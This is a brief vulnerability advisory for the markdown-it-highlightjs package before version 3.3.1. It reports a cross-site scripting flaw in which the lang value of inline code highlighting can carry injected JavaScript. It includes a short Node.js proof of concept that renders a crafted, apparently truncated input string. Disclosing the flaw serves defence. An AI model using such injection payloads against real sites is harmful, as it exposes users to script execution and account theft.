This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);